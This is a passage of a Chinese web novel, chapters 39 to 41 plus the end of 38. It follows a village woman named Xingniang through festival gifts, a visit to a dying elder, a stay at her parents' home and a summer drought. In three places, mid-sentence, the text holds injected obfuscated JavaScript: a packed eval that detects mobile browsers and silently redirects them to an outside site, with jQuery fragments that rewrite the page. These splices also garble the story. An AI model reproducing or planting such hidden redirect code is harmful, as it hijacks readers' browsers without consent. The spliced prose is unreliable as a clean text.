白生生尖角分明的糯米粽，一点杂色也无，用筷子插了蘸一点白糖，不用别的配菜，杏娘一顿就能干掉三、四个粽子，吃的满嘴甜蜜蜜。 提前吃完早饭，杏娘跟婆婆交代了一声，提起一个装了二十个粽子、一坛三斤装的酱和一小布袋干菜的篮子往周老爷子家走去。 …… 今儿过节不用去医馆值守，李苏木一家三口刚吃完早饭准备回白水湾过节。杏娘到时，桌上的碗筷还没来得及收。 “小姑，别急，先喝一盏茶。”李苏木端起茶盅递过去，卫氏急忙起身拿碗筷。 杏娘接过茶盅一气喝完，拎起茶壶又倒一盏喝了，舒服地大喘一口气才有空开口：“侄媳妇别忙了，早起粽子吃撑了，这一路上差点没把我渴死。现在哪还吃得下，给你们把东西送到我就回去了。” 李苏木一一拿出篮子里的物件，抱着坛子不舍得撒手：“小姑，你可终于想起来给我送酱了，我还以为你忘记了，天一热你看我都瘦了。” 卫氏嗔怪地看了他一眼：“说的什么话，也就小姑不计较。我们做小辈的还没给小姑送节礼呢，倒要长辈先给我们送来，怪不好意思的。” “没事，不打紧。”杏娘摆手，满不在乎地说道，“你们小年轻哪会做这些活计，这些酱你先吃着，等下个月再给你送一坛来，坛子小酱易坏，时间长了有酸味，不好装太多。” 李苏木放下坛子，抱了杏娘的胳膊撒娇卖痴：“我就说还是小姑最疼我了，你也不用着急回去，让婉娘置一桌好菜，吃了晌午饭再回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457597|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我们迟点回白水湾也不碍事。” “对啊，小姑难得来一次我们这个小家，不吃一顿便饭就走怎么都说不通，我灶上的手艺还过得去，小姑且尝尝。” “不了，不了，下次再说，好吧，往后机会多的是，不急在一时。我跟你们一同出门，苏木，你顺便帮我去医馆拿一包药材。”杏娘拒绝留饭，催着小两口收拾好碗筷出门。 杏娘拿着一包黄栀子回家，到家时三个小的才吃完早饭。丛三老爷挨个用筷子沾了雄黄酒点孙子、孙女的额头，点完了一拍脑袋，“玩去吧，蛇虫鼠蚁咬不着咯！” 黄栀子用冷水浸泡一夜，隔日将果实捏碎了加火煎煮，用纱布滤掉残渣得到一小碗黄色染液。 端着碗走到后院，抓一把米糠撒在鸡笼前，“咕咕……咕咕……” 褪去毛茸茸短小柔软的嫩黄绒毛，小鸡崽羽翼逐渐变得丰满且色彩斑斓，听到声音从篱笆根底下钻出小脑袋跑过来。趁着鸡崽啄食，杏娘一一抓过来刷一遍黄水，一会儿功夫，又变成了一群黄灿灿的小鸡。 杏娘站起身来拍拍手，满意地看着自己的杰作，这下就算跑丢了也不怕，有记号就能找回来。过一段时间黄栀子褪色了也没关系，半大的鸡养得熟了，跑出去也能自个找回家。 英娘看见后嚷嚷着也要把自家的鸡涂成黄色，被杏娘严词拒绝：“本就是为了做标记才染的黄色，你家的也涂成一样的颜色，那还算什么记号？再说了你家就三只鸡，好找的很，跑不了。” 英娘不依，非缠着她染一个别的颜色。 两人一合计，指甲花现在还没开花呢，木槿花倒了开了，也不知道管不管用。这两个都是玩心重的年轻小媳妇，即便生了孩子仍是童心未泯。 说干就干，提了篮子就往后院的菜园走去，园子一圈围起来的篱笆上长满木槿花。 连花带叶的整个枝条折满一篮，摘下花朵捣碎了攥出汁液，拿一方素白帕子浸泡在里面，只等半个时辰后看能不能上色。 这期间两人也没闲着，兴致上来干脆撸了木槿花的叶子，用纱布裹了放入温水中揉搓，等水变绿且生出泡沫，正好就着大日头洗个痛快的头发。 晾发的间隙，杏娘把女儿也叫回来洗了头，儿子们不知道跑去哪撒野了，喊不着人作罢。 头后仰靠在椅背上，英娘随口问道：“听说你们丛家的六太爷身子骨不大好了，两个女儿端午过来的，现下还没走呢。” 杏娘给女儿抓挠头皮，“啊？没听见说起啊，我们家这段时间烦心事多，窜门子都少了。” “说是年节时就不大爽利，整日躺在床上下不了地，一咳就是一宿。吃了药也不见效，他们家想着约莫是天寒老人受不住，盼着暖和了能有好转。现在天气热了，人倒是精神了点能地下走两步，却是越发的瘦了。我上次碰见吓一大跳，才多久没见，整个人老了十岁不止，真吓人。” 杏娘闻言眉头紧锁，她跟六太爷的大女儿丛翠枝一项说得来，翠枝没嫁前时常往她家跑，跟自个的嫂子都没这么好的交情。 杏娘舀一瓢水倒在女儿头上冲洗泡沫，一边思索明儿拿什么东西看望六太爷。 头发晾干后拿起帕子一看，红色倒是有就是挂不住，水一冲就掉了，二人也不气馁，权当玩耍罢了。 39. 第 39 章 若是亲近之家办红白喜事，大宴宾客，送礼就得去镇上置办，或鲜果点心，或布匹衣料。 若只是寻常走礼看望老人，拿些家常之物即可，眼下也没别的稀罕东西，杏娘提了一篮子十个桃子，十个粽子走去六太爷家。 六太爷家在她家东边隔了几户，两家虽都姓丛，却不是一支的。往上数两代倒是能扯上点关系，后面就各论各的了。因他辈分高，小辈们就跟着他们那一脉的人喊。 刚走到六太爷家门口，一个妇人提了菜篮往河岸上走，篮子不停往下滴水，杏娘站住脚略等了等,“嫂子，这般早就开始准备晌午的饭菜了？” 张月娘抬起头看见家门口站着的人，笑着打招呼：“杏娘来了，快进屋，这不是家里来了娇客，总得置办两碗上台面的菜。是来看老爷子的吧？早起太阳不辣，他老人家在院里晒太阳呢。” 杏娘跟着她走到院中，一眼看到躺椅上的老人，果真如英娘所说，苍老的像变了个人——原先斑白的头发已然全白，额头皱纹密布，松弛的眼皮耷拉，安静无声。 老人身上搭了一床薄被，翠枝站在一旁整理边角，听到声音转过头，“七嫂来了。” “你们慢慢聊，我先去灶房。”张月娘示意仍在滴水的菜篮，提步往前走。 杏娘走过去放下提篮，轻声问道：“六太爷怎么样了？身子骨好些了吗？” 翠枝眉眼间带着一股散不去的忧愁，唇角扯出一抹苦笑，“还是老样子，时好时坏，好的时候能吃半碗饭，坏时就像这样，白天黑夜的睡。” 薄被下的老人越显消瘦，整个人被裹成小小的一团，这么热的天穿单衣都嫌厚，早晚有干活的男人光膀子都热出一身汗。六太爷却穿了一身薄棉袄，睡梦中似乎还觉得冷，蜷缩着身子往被子下缩。 杏娘看得眼睛一酸，不忍地偏过头，无声叹一口气。 翠枝拉着她在旁边的条凳上坐下，“还以为熬过了冬天就好了，没想到精神头是好些了，身体还是老样子。端午这两天许是人多热闹，他老人家兴头头了两天，有说有笑，还能吃一碗米饭。我高兴的很，以为我爹快好了，没想到……” 她哽咽着说不下去，喉咙酸涩，通红的眼睛里泪水如雨般滚落，“早饭也吃不下，说是房间里太冷了，要我们把他抬出来晒晒太阳。可明明都入夏了啊，我爹还跟冬天那样怕冷，不是说阳气足的话病就会好吗？” 杏娘一手抱着她的肩膀，一手握着她的手，“都会好的，别怕。” “我不求别的，我只希望我爹能吃饭，能睁开眼睛就行，我好怕他这样……一直睡，一直睡，睡得眼睛都睁不开……” 杏娘握紧了她的手，“老人家还有在吃药吗？” “有的。”翠枝擦一把鼻子，粗鲁地抽出帕子抹眼睛，“小李大夫开的药，他们说吃不吃药都一样，可我不信邪，我爹能喝下药汤，为什么不吃？我拿了银子给我哥买药，就算我自个饿死，我爹也得吃药。” 杏娘柔声安抚：“能吃药就有指望，慢慢来，别急，你也要保重好自个，老人家看见你们心里欢喜着呢。” 翠枝强忍住悲伤，大口往外吐气，“你说得对，我不能给我爹添晦气，他一定会好的。我不能在这没完没了的哭，我娘看见心里难受。” 她伸出手搭在六太爷腿上，眷念地来回摩挲，两人一时静默不语，静静地看着无知无觉酣睡的老人。 阳光洒在他的脸上，越发的干瘪枯黄，失去光泽的一层皮松垮垮地挂在脸上，似乎听不见他喘息的声音。离得近了紧紧盯着，才能看见薄被轻微地起伏。 一阵突兀的脚步声打破小院的宁静，打着哈欠的妇人睡眼惺忪地揉着眼睛走到院中。 凌乱的发髻在头上堆成鸡窝状，看见院中的几人急步走过来，“七嫂过来啦！”也不等人回答，拿起篮子里的桃就啃。 翠枝看她这个样子就来气，“你看看你像什么样子，头也不梳脸也不洗，你还像个妇道人家吗？” 翠叶“呸”一口吐掉桃子皮，果肉入口咀嚼，对她姐的话充耳不闻，“还别说，七嫂，你家的桃子就是甜，我今年还没吃过桃子呢。” 杏娘干笑：“是吧，今年雨水少桃子甜，你要喜欢的话我等一会再给你拿几个过来。” “那怎么好意思。”翠叶吃得欢快，眉开眼笑地恭维，“我就喜欢跟七嫂这般爽快的人打交道，说话直来直往，不像有些人，吃个菜……” “丛翠叶！”翠枝厉声打断她的话，警告意味深厚，“这是人家带来看望爹的礼，你要是想吃的话就闭嘴，不想吃就别糟蹋东西。” 翠叶无趣翻个白眼，满不在乎呛她姐：“我这是给爹分忧，桃子是寒性的，爹也吃不了啊，我吃一点怎么了？” 杏娘窘迫一低头，篮子里的粽子也是不好克化，不能给病人吃的。 她尴尬地扯开嘴角：“那个……着急忙慌过来看六太爷，就没仔细思量……那什么，这些东西确实不能给老人家吃，是我疏忽了。” “跟你没关系。”翠枝安抚她，大声呵斥妹妹，“你还有脸说别人，你连个外人都不如，有你这般给人当姑娘……” “好了，姐，一天天的就知道逮着我骂，你又不是我娘老子。我亲爹，亲娘都没说什么，用得着你在这装好人。是，爹是病了，跟你似的饱一顿饿一顿就是孝心了？我就是饿死了，他的病也好不了啊，也不知道装给谁看，天天哭丧个脸……” 翠叶满脸不耐烦，骂骂咧咧转身回堂屋。 “你……”翠枝气急攻心，颤抖着手指着她的背影。 对着这么个混不吝，脸皮奇厚，良心喂了狗的人，骂再多都是枉然。何况这里已经不是她们的家了，是娘家，闹起来爹娘更难做人。 杏娘忙出声打圆场：“好了，好了，这事本就怪我，我脑子一根筋，也没想清楚就稀里糊涂地提了过来，你们不要怪罪我才好。” 翠枝站立片刻，颓丧地坐回凳子，“七嫂，别说这种话，多谢你来看我爹，我只是……” 她痛苦的双手捂脸，“大家好像都很不满，我也不知道怪谁，都没有做错，事情怎么就成了这样？” 这时躺椅上的老人好像被声音惊扰到，不安地转动脖子。翠枝忙一抹脸起身走过去，轻轻拍打被子。 六太爷发出几声含糊不清的呢喃，慢吞吞睁开眼睛：“老婆子……唔，枝儿啊……”似被阳光刺着了，老人闭上眼酝酿了一会又睁开。 “谁来了……这是……杏娘吧，等会儿留下吃饭……” 杏娘轻声应答：“好的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457598|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太爷，您可要好好保重身子，赶紧好起来才是，我新学了两道菜，您肯定喜欢，到时做了给您和我公爹吃。” 六太爷虚弱地一笑，力不从心地阖上眼皮，“好……好……你是个好孩子，我好着呢。” 又像是起来什么，半睁着眼睛嘱咐一旁的女儿：“枝儿，不用给我买药了，费银子哩……我没事，就是提不起劲，睡一觉就好了。” “知道了，爹！”翠枝柔声安抚老人，手上的力道更是放轻了几分，“您放心，我没费银子，您先睡一会，等饭熟了我喊您吃饭，今天可要吃一碗饭才行。” 六太爷支吾几声，放下心来又重睡了过去。 等老人没了声响，翠枝转头说道：“七嫂，我先送你回去吧，我娘还在收拾房间，我们就不去烦她了，你家里也是一摊子事，就不留你了。” 杏娘点头，她又把被子往老人身上拉了拉。两人轻手轻脚绕过凳子，没有走堂屋，穿过灶房往后院田埂走去。 家家户户的菜园葱葱郁郁，高矮交错的各类菜蔬挤满园子的每一个边角。田埂另一边的水稻正是抽穗扬花期，稻壳上布满米白色的小点。 翠枝揪了一片豆角叶子，两指来回碾压，“七嫂，你说养儿育女是为了什么？几个哥哥要养家糊口，一日不得闲，我爹生病了也顾不上。我家这样能出钱买药的，人都说极为难得了，儿子们有孝心，可他们几天都不见得来看我爹一次。” “要不怎么说久病床前无孝子，大家都是这般过来的。”杏娘平静应道，很多事情没有答案，世道如此，她们能做的只有适者生存。 指尖的叶片支离破碎，汁液粘稠，如同他爹风烛残年般的气息。 翠枝自嘲地说道：“枉我自诩孝心可鉴，可也只能省吃俭用拿出一些吃药的银钱。既不能喂我爹吃饭喝药，也不能帮他洗衣倒尿壶，不过是自欺欺人而已，我有什么资格说别人？还有我妹……” 说到这里，她挤出一个更加惨淡的笑容，“我妹这个人啊，天生的没心没肺。不出药钱也就罢了，本就是各凭良心的事。可她打着看望我爹的名头，一家三口全都是一张嘴挑两个肩膀，两手空空的趁着过节回娘家。 每天睡到日上三竿等着吃饭，神仙样的摆她姑奶奶的款，难怪嫂子瞧我们不起？自个不担事，怪不得别人。” 杏娘一时无言，她的爹娘还健在，是这世上最关心她的人。 如果有一天……有些事情不想面对，也不愿意去想，就像对着一口深不见底的水潭，越是凝视深渊，越是不受控制靠近，最终淹没覆顶。 她劝翠枝也是对自己说：“人活一世，不可能事事尽善尽美，做事无愧于良心，无愧于爹娘，无愧于自己即可。” 田埂上的杂草丛生，这些草的生命力可真顽强，割了一茬又一茬，下一场雨出一个太阳，它们又能见缝插针地茁壮成长。 人比不了一点，年轻时占着身强体壮耗费尽每一丝力气，累的精疲力竭倒头就睡，第二天依旧神采奕奕。 年老了，曾经熬过的夜，耗尽的心神，淋过的风雨，一股脑找上门算账，算盘珠子拨一通，欠给岁月的债用身体来偿还。 人也就像浸在油里的最后一截灯芯，虽还闪着微弱的昏黄光亮，可已经濒临熄灭，垂垂老矣。 40. 第 40 章 从六太爷家回来后，杏娘就有些不得劲，她想爹娘了。 投胎成男儿身可真好，占尽了天时地利人和，住自个的屋子，爹娘安排娶亲，可以一辈子跟父母住在一起。当女孩就倒霉了，到了年龄要出嫁，嫁了人无事不得回娘家，需勤勤恳恳伺候公婆照顾男人孩子，想爹娘了还得找个好借口。 什么狗屁倒灶的规矩，也不知道是谁定的，专门跟女人过不去。 退一步说，你就算想为难女人，在你自个家当家做主就可以了呗，偏要狗拿耗子多管闲事把全天下的女人都管了，不遗臭万年才怪！ 杏娘倒是没那么多顾虑，向来是想回娘家就回，没人敢约束她。问题是她已经嫁人生子，成了当家做主的人，就要担得住事。 不能任事不管，跟庙里的菩萨似得当个甩手掌柜。 菩萨可以吃香火供奉，杏娘母子可吃不了，所以要留在家里安排大大小小吃喝拉撒的家务，娘家也不是想回就能回的。 好在李老爷子的生辰快到了，因是散生也不大办，本地只有整十的生辰才会大宴宾客恭贺寿辰。往常都是一家子骨肉血亲齐聚一堂，吃吃喝喝玩闹一天，图的就是个热闹。 早几天杏娘就置办了酒水点心，到了当天把自个和三个孩子收拾一新坐船回娘家。 来得早人还没齐，趁着清净杏娘要她爹给二儿子把个脉，“前段时间病了一场，在苏木那拿药吃了，爹再给看看，可别留下什么病根。” 李老爷子一手把脉，一手捋胡须，微阖眼皮沉思。 他的一把胡须又白又长，打理得干净清爽，用杨氏的话说就是比头发还整齐，每天早上梳理胡子的时间赶得上女子梳妆打扮了。 李老爷子充耳不闻，依旧我行我素，在他看来，胡子就是男子的门面，跟女子的头面也没甚区别，多花点时间打理怎么了？ 再说了，他干的就是三教九流的营生，一把飘逸的胡须更显仙风道骨不是？ “无事，不用担心，我们小二哥好着呢。”李老爷子收起手腕，顺势挠一把青皮的下巴，摸摸他的小脸蛋。 青皮觉得痒，在他娘怀里泥鳅样钻来滚去。 小孩子皮肤光滑细腻，仿若上好的瓷器，虽瘦弱，倒也不至于皮包骨头。只是没那么圆润有弹性，轮廓略显清晰，在青年是骨相分明，孩童就略显单薄。 杏娘眉头紧锁，烦恼地跟她爹诉苦：“二小子打小就不长肉，老大跟老幺吃得多睡得香甜，活蹦乱跳。老二挑食，家常饭菜扒几筷子就饱了，碰上好菜吃得也多，结果吃了不是吐就是拉，折腾一宿还掉半斤肉。爹，您说要不要给他吃些药调理？” 李老爷子慢条斯理端起茶盏啜一口，“不用，小孩子肠胃本就弱，吃了药岂不雪上加霜，补药也是药。俗话说药补不如食补，还不若慢慢调理肠胃。你也别担心他吃得少，有好饭菜就使劲硬塞，吃多了反而不克化，还不如少吃。” “少吃不长肉啊，老是这么瘦伶伶的怎么长高？” “那是还没到时候。”李老爷子不以为然，促狭地提醒女儿，“你几个侄子少时的事你忘了？一个个跟无底洞似得吃多少东西都填不满，你还说他们上辈子是饿死鬼投的胎，这辈子就知道吃。” 也是，杏娘若有所思，几个侄子十来岁时吃饭的架势，毫不夸张地说，比猛虎下山还可怕——猛虎吃饱了尚且不屑残羹冷炙，他们是恨不得连装菜的盘子都吞入肚。 杏娘最不喜欢年节时一大家子吃饭，吃到后面几个大的直接把饭盖到只剩汤汁的菜盘，舔得干干净净。 她就想不明白，一天三顿餐餐不落，又没少他们一口吃的，怎么就能饿成这样？ 牛肚子都没他们能装，最关键的是吃这么多还不长肉，跟竹竿似的只往上窜，瘦不拉几没二两肉。 李老爷子提点她：“若要小儿安，常带三分饥和寒，小孩子不怕他少吃，就怕他吃得太多。吃得少饿的是他自己，饿得难受自会找吃的。碰到好饭菜就不一样了，吃了还想吃，吃过头才觉得腹胀、恶心，可不就又吐又拉了。肚子太满了倒不出来，那才叫难受。” 杏娘点点头，那两个说吃饱了丢下筷子就跑，她也不拦着。只有老二说饱了，她向来是端起碗亲自喂，能多吃一口就多喂一口。 老二胆小不敢反抗，实在吃不下才摇头拒绝。 敢情还是她造的孽，越是担心他吃不饱越是喂饭，反而越不好克化，还不如另两个的顺其自然。 怜惜的抱着大儿子，杏娘感叹当娘不易，轻不得重不得，还不全是一个样，养孩子也得因材施教啊！ 杨氏在一旁附和：“养孩子就是这样，越是养的精细，越发的七病八灾，还不如那养的粗糙的。你也不用太焦虑，孩子又不是竹笋，一夜就能窜老高，那不叫养孩子，叫养妖怪。” 说得三人都笑了。 一时众人到齐，女人孩子齐聚杨氏房里，闲聊打趣逗闷子好不热闹。男人窝在堂屋，吹牛耍叶子牌说庄稼也是喧闹一片，除了今天的主角寿星公——李老爷子。 他老人家嫌人多闹腾吵得脑壳疼，自个搬了躺椅到灶房门口，所有的门全打开，优哉游哉地吹着穿堂风，好不惬意。 一阵阵的南风吹散了炙热的气息，吹得人昏昏欲睡，三千烦恼丝也烟消云散，夏日炎炎正好眠。 最高兴的人莫过于青叶，她今天才算知道李娥表姐的儿子是如此可人的一个小玩意。 那皮肤白的，比她爹送的瓷娃娃还白，一双圆溜溜的大眼睛比年画上的报鲤鱼娃还清亮，鼻子挺翘，红润润的小嘴巴像抹了一层胭脂。 这简直就是长在她心口上的瓷娃娃，乖巧无比，安安静静坐在她娘腿上看比他大一岁的青果上蹿下跳，宛如泼猴。时不时被逗笑，咧嘴露出一个花儿般的笑容，看得人心里痒痒的，不喝蜜都是甜的。 青叶坐在一旁不时捏一捏他的小手，蓬松肉乎一口能吞下，五根短胖的手指伸直了手背上露出一溜圆滚滚的小窝窝，好玩极了。 眼看青果哧溜一声跑出房间，他也急得在娘亲腿上坐不住，摇晃着身子溜下地，迈着两条小短腿颤颤巍巍追上去。 青叶叹息：她弟就不能安生地呆一会吗？只要眼睛是睁开的，屁股上就跟长了刺似得，没一刻是静止状态。拉磨的驴应该换成他才对，还省了粮食，反正不用白不用。 “小姑，我可听说了，你前段时间跟你婆婆和大姑姐干了一战，把你们家姑奶奶打得鼻青脸肿下不了床。你快说说，到底是怎么回事？我可好奇死了。” 看儿子颠颠跑出房间，李娥收回目光，今天家里人多儿子不怕走丢，她抓了杏娘的手追问。 杏娘强压住嘴角的弧度，假模假样斥责：“从哪听来的闲言碎语，我要能把人打成那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457599|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样，他们老王家能放过我？早讹上门来了，反正又不是没干过这么没脸没皮的事。” 李娥不依，觉得她没说实话，“那你也是打了的啊，你跟我说说吧，到底打成什么样了？怎么打的？你俩是单打独斗还是她们母女俩打你一个，结果还打不过？你就说说嘛，这里又没有外人，不会传出去的。” 杏娘依旧否认：“没有的事，谁那么无聊在外面胡言乱语？是发生了一点争执，孩子间的小打小闹罢了，没成想传到外面全走了样，这不是污蔑我们家名声吗？要是让我抓到谁在外头编排我，哼！我当场让她领教鼻青脸肿是何种滋味。” 她又不傻，哥哥是亲生的，嫂子可不是，更有隔了一层的侄媳妇，她也是这个家里的姑奶奶。 说不得就有嫂子看她不顺眼，添油加醋的把她的话传扬出去，这不是给人送现成的把柄？ 虽说她的名声好不好的没那么重要了，可她大嫂的那句话说得对，她还有儿女，儿女以后要结亲。一个好名声还是有维护的必要的，又不是甚难事，只要管住自个的嘴巴就行，她是好吃，不好说是非，尤其是自个的是非。 不远处的杨氏露出了一个隐秘的欣慰笑容，这个女儿总算摆脱了棒槌状态，长了一瓣心窍，不再任人忽悠了。 那边李娥还在歪缠她小姑说出实情，这边余有摇晃着冲进来，“娘，水，水。” 青叶忙不迭跳下椅子，快步走到桌边倒了一盏茶，拿手感受一下杯子的温度，犹不放心抿了一小口。 水温不冷不烫正好解渴，青叶端过来小心翼翼喂表外甥喝下，完事掏出自个的小帕子擦干他的嘴巴。 这一连串动作看得李娥一愣一愣，“我的天，这都是跟谁学的？我们青叶可真是个细致孩子，我这当娘的都没她细心。” 老大媳妇姜氏拿帕子掩唇一笑，“还能跟谁学的，我们家姑奶奶虽说是个孩子脾性，做了娘却没出过差池。但凡是跟孩子相关的事，想得再周全不过。” “青叶，去表姐家玩几天吧，我们表姐妹亲香亲香，表姐家好吃好玩的可多了，包你去了就不想回家。” 李娥牵了表妹的手连连夸赞，听得青叶羞红了脸，却仍是大大方方抬头挺胸，露齿一笑，更引来她的喜爱，邀请她去自个家玩。 “那不行！”杨氏忙出声阻拦，招手让外孙女过去，圈在怀里霸道宣示。 “我还没稀罕够呢，哪能轮到你？这都多长时间没见了，我的小乖乖是不是想外祖母的紧，你那狠心的娘自个不想爹娘，也不让我的小青叶过来看外祖父母。这回可得住他个十天半个月的，不玩过瘾不许回去。” 杏娘哭笑不得，青叶把头埋在外祖母怀里撒娇，只有李娥又大叫着偏心，说祖母有了小的就不要大的，心偏到咯吱窝了。也跑过去挤到杨氏怀里撒娇卖痴，逗得一屋子人哈哈大笑。 至晚间吃了饭众人散去，杏娘母子四个照例留下来过夜。 夜深人静之时，母女俩一个被窝窃窃私语，杏娘趴在老娘耳朵道出前因后情，乐得杨氏拍着床铺咧嘴大笑，“该！那对母女就该这么治，哈哈！老娘也能等到今天，还算你长了脑子，要是还跟之前那样笨头猪脑的，你娘死了也不能闭上眼睛。” 杏娘得意地扬起下巴，笑得一脸肆意，谁怕谁呀！她李杏娘可不是吃素长大的，且等她摸着了窍门，她再跟她们斗上一斗。 41. 第 41 章 青叶在外祖母家过得乐不思蜀，全然想不到回家，杏娘却是过了三天就打包袱皮。在娘家是过得舒坦，可再舒坦也不能一直住下去。 若再多住上两晚，就该有年纪一大把的村老乡妇找上门说教，训斥她妇道人家不知礼数，赖在娘家有失体面，坏了白水湾的规矩。 这些人可真是闲的慌，村里的懒汉饿得吃不上饭，也不见他们去救济一把，倒有闲心来管她住不住娘家。可又犯不着为了争一口气跟这些人对上，推不得碰不得，只有挨骂的份，还不如早早归家。 等下次找着机会再住他个两三天，这世上可没有不准回娘家的规矩，看她怎么治他们。 依依不舍送走活泼可爱的外孙子、外孙女，李老爷子发出和孙子一样的感慨：早知道就把女儿留在家里招赘了，只要女儿点头，什么俊俏的男人找不到？跟谁姓倒是无所谓，只要孩子们住在跟前，随他姓也不是不行。 还是年轻不知事啊，要搁到现在，就是从土匪窝里抢一个男人回来又有何难？ 现在说什么都悔之晚矣，李老爷子长叹一口气，伤感地掏出袖子里的钱袋放在女儿手上，转身往岸上走，背影透着一股萧瑟。 杏娘疑惑地看着袋里的一两银子，“爹？” 李老爷子摆手，头也不回，他老人家伤心太过，要回家狠狠睡一觉，睡他个昏天黑地。 两手交叉背在身后，溜溜达达往家走，是灶房门口凉爽还是堂屋走道风大？且等他到家各试一遍，那股伤感莫名其妙消失地无影无踪。 杏娘捏紧手中的钱袋，鼻子一酸，想哭又想笑，抹一把眼睛，搂了儿女坐在船舷。 天气越发炎热，丛三老爷搬出杂物房架在梁上的凉床。 本地家家户户有一张纯竹子做的凉床，四条床脚和四条边用粗壮的竹子组成，打磨光滑的竹片做床面，清爽透气。使用年限过长的凉床被汗渍反复浸润，黄色的竹片表面泛红，细腻滑溜，与皮肤接触犹如沁凉的丝绸，消解炎炎夏日的暑热。 丛孝家与丛五老爷家隔着一条宽巷子，有一间厢房大小。每到傍晚吃过晚饭，丛三老爷提两桶井水把巷子周围浇个遍，搬了凉床放到巷子口，用湿布巾擦干净床面。 两个小子由娘亲洗完澡，赤身裸体穿着亵裤跑到凉床上躺着，丛三老爷摇着蒲扇给孙子们扇风。 等家里的女人们清洗完端了凳子出来时，太阳已落到树梢上，远处的树身近处的人脸笼罩在一片昏黄的光影里。 三三两两的妇人围拢在一起说家常，东家长西家短，谁家的鸡跑到别人家下蛋找不回来，谁家的小子抓了好大一条鱼。话题涵盖五花八门，比李老爷子的业务范围还广泛，你说你的，我聊我的，想起什么说什么。 不会特意针对谁家，也有自揭伤疤的，把从别人那里道听途说的，加上自个的想象、猜测，添油加醋，删繁就简，融会贯通成自己的创作。 绘声绘色的故事引人入胜，听众自然多，附和者此起彼伏。寡淡无趣的情节只有身旁之人碍于面子点头“嗯嗯”回应，其实耳朵拉得老长捕捉另起话头之人的只言片语。 说到兴起时，妇人们爆发一阵阵哄笑，引得聚在一旁的男人纷纷侧目，还有看不惯的斥骂两声。 哪怕平日里再不敢忤逆自家汉子的农妇这时也充满了无限勇气，“呸”一声吐一口唾沫反骂回去，人群顿时一阵哄笑，你来我往好不热闹。 人来疯的孩童哪会呆得住，早疯跑到不知哪去了，等到天黑到看不清人影方在大人的喊声里往回跑。 房间里热得像火炉，吓退想往回走的人。 杏娘把凉床四角绑上竹竿，罩上薄纱蚊帐，丛三老爷带着两个小孙子睡在巷子口，旁边的凉床上睡着丛五老爷家的两个半大小子。 堂屋通向院子的走道放两张条凳，卸了灶房的门板架在上面，陈氏跟青叶一人一边也能吹到穿堂风。 杏娘是打死都不会睡在外面，房里热得喘不过气也只拿着蒲扇猛摇。等到夜深人静降下露水，气温也随之凉爽几分，困乏的人顿感些许清凉，扇子挥舞的幅度减小，渐渐静止不动。 新一轮的拔草、施肥拉开序幕，尤其是菜园的草长得比黄瓜叶子还密，一脚踩下去看不见脚背。 杏娘跟丛三老爷又开始起早贪黑地泡在田里，趁着早晚清凉忙碌一通，晌午是不去的，还没到那时候。 等到田里收拾地焕然一新，别的烦恼又出现了——已经十来天没下过雨。 水田干涸露出褐色的泥巴，稻谷根部还是湿润的，只不过剩了浅浅一层水膜附在表面。泥地上清晰的印着跳蛙路过的痕迹，水蝇长长的触角来不及逃跑，落了一根在泥里。浮萍的叶子失去了水的托举，已然黏在稻谷底部。 水沟里也只剩了低洼处的几捧水，远远达不到放水的程度。 丛三老爷忧愁地抬头望天，火辣辣的阳光眩花人眼，一圈圈的光晕逼得人不敢直视。再等两天吧，要是两天后还不下雨，就要搬出龙骨水车取水灌溉。 当天晚上丛三老爷坐到半夜，嗅闻空气中的水汽味，结果是另他失望的——干燥的风中热气扑鼻，水汽稀簿得虚无缥缈，难以捕捉。 直等到第三天晚上，丛三老爷决定明儿早起踩水时，一场大雨突如其至，泼洒而来。 狂风呼啸，倾盆大雨砸得地面灰尘漫天，继而慢慢沉淀。屋顶上的雨水顺着瓦檐往下落，沿着门口的场地流到河坡，渴极了的河流张开血盆大口狼吞虎咽，岸边的水线一寸一寸往上移动。 下到天明雨势减小，零星往下掉落雨线，空气清新，凉爽袭人。杏娘撑开雨伞想去河边菜地摘两个青辣椒，吃的菜里盐能少放，青辣椒是万万不能少的。 杂物房翻了个遍也没找到木屐，乡下泥泞多雨路不好走，各家各户至少备有一、两双木屐。 此物是一种木底鞋，鞋底由木制成，鞋面为帛，木制底下是四个铁钉，耐磨、防滑。雨雪天穿了布鞋再套上木屐，既干净整洁又舒适保暖，还避免摔了满身泥巴，再便利不过。 杏娘家里的木屐数目众多，每个大人人手一双，丛孝是个心细不怕繁琐的，木屐于他而言就是费点功夫的事，就连三个孩子也各做了一双小号的。 每双木屐板正结实，且都做了标记，怕的就是旁人浑水摸鱼换了去。 早起丛三老爷去周老爷子家买泥鳅还没回来，陈氏也跑得不见踪影，杏娘遍找剩下的两双木屐，翻出一肚子火——这鞋子还能长翅膀飞了不成？ 